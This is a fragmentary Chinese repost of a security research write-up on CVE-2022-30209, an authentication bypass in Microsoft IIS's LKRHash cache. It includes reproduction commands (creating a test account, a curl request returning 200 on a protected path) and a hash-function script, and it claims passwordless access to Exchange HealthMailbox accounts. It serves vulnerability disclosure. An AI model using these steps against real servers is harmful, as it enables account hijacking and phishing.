LKRHash 旨在在多线程和多核环境下构建可扩展的高并发哈希表。创建者付出了很多努力来使此实现具有可移植性、灵活性和可定制性,以适应 Microsoft 的多种产品。应用程序可以定义自己的表相关函数,例如散列函数、键提取函数或键比较函数。这种可扩展性为漏洞挖掘创造了大量机会。所以,在这种背景下,我们更关心的是记录、键和函数之间的关系。
CLKRHashTable::CLKRHashTable( this, "TOKEN_CACHE", // An identifier for debugging pfnExtractKey, // Extract key from record pfnCalcKeyHash, // Calculate hash signature of key pfnEqualKeys, // Compare two keys pfnAddRefRecord, // AddRef in FindKey, etc 4.0, // Bound on the average chain length. 1, // Initial size of hash table. 0, // Number of subordinate hash tables. 0 // Allow multiple identical keys? );
# add a test account, please ensure to remove that after testing > net user orange test-for-CVE-2022-30209-auth-bypass /add
# the source of login is not important, this can be done outside IIS. > curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass''http://<iis>/protected/' | findstr HTTP HTTP/1.1 200 OK
在攻击者的终端下:
# script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j
我们还证明了这种攻击在 Microsoft Exchange Server 上自然有效。利用默认激活的Exchange Active Monitoring服务,我们可以HealthMailbox不用密码进入邮箱!这种无需身份验证的帐户劫持对于进一步的利用非常有用,例如网络钓鱼或将另一个经过身份验证的 RCE 链接在一起!
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
译文 | Let's Dance in the Cache - 破坏 Microsoft IIS 上的哈希表!https://cn-sec.com/archives/1241992.html
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.
评论